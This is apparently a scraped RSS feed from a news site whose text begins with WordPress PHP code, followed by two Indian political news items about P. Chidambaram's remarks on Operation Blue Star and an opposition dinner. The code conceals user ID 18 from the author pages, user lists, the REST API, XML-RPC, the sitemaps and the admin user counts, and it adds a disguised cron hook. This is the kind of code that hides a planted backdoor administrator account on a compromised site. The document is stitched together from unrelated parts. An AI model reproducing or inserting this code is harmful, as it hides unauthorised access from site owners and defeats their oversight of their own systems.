add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Operation Blue Star Was a Mistake That Cost Indira Gandhi Her Life: P. Chidambaram appeared first on The Edge Media.
]]>“Operation Blue Star was a mistake. It cost Indira Gandhi her life. There were errors in its execution by the officials of the time,” said Chidambaram, addressing a gathering at the literary festival in Solan district.
He further added that a better approach would have been similar to Operation Black Thunder, a later and less-destructive operation that cleared the Golden Temple of militants without direct military intrusion into the sanctum.
SGPC Responds Strongly
Chidambaram’s remarks triggered a sharp response from Gurcharan Singh Grewal, spokesperson for the Shiromani Gurdwara Parbandhak Committee (SGPC).
“You can’t hide the truth by telling a hundred lies. Chidambaram’s statement proves the truth of the attack on Sri Harmandir Sahib,” Grewal said.
He further alleged that the attack was not just a tactical failure, but a political decision that directly involved the late Prime Minister.
Grewal invoked the controversial statement by Rajiv Gandhi, who reportedly said, “When a big tree falls, the earth shakes”, in reference to the anti-Sikh riots that followed Indira Gandhi’s assassination. According to Grewal, this statement “justified” the mass violence and exposed the mindset of Congress leaders at the time.
Historical Context
Operation Blue Star was carried out in June 1984 to remove armed Sikh militants from the Golden Temple complex. It resulted in heavy casualties, damage to the holy shrine, and widespread anger within the Sikh community. Indira Gandhi was assassinated by her Sikh bodyguards four months later.
Chidambaram Also Revisited 26/11
This is not the first time Chidambaram has addressed controversial national security issues. Recently, he revealed that India had considered military action against Pakistan after the 26/11 Mumbai attacks, but refrained due to global diplomatic pressures.
“I was in favor of military action after the 26/11 attacks, but in the end, the decision was made not to proceed,” he said in an earlier statement.
The post Operation Blue Star Was a Mistake That Cost Indira Gandhi Her Life: P. Chidambaram appeared first on The Edge Media.
]]>The post Questions About Gandhis’ Leadership at Kapil Sibal’s Opposition Dinner appeared first on The Edge Media.
]]>Questions were also raised concerning the Congress’s rebirth, which some politicians present claimed could only happen if the party was “liberated from the Gandhis’ leadership’s clutches,” according to insiders. The Gandhis were not in attendance during the event.
Other politicians pressing for reform in the Congress, such as P Chidambaram, Shashi Tharoor, and Anand Sharma, were among those invited. All three are among the party’s leaders who have raised concerns about the party’s future.
Akhilesh Yadav of the Samajwadi Party, Omar Abdullah of the National Conference, Sanjay Raut of the Shiv Sena, Lalu Yadav of the Rashtriya Janata Dal, Derek O’Brien of the Trinamool Congress, and Sharad Pawar of the Nationalist Congress Party were among the opposition leaders present. The crowd also wished Akhilesh Yadav well in the upcoming Uttar Pradesh assembly elections.
The post Questions About Gandhis’ Leadership at Kapil Sibal’s Opposition Dinner appeared first on The Edge Media.
]]>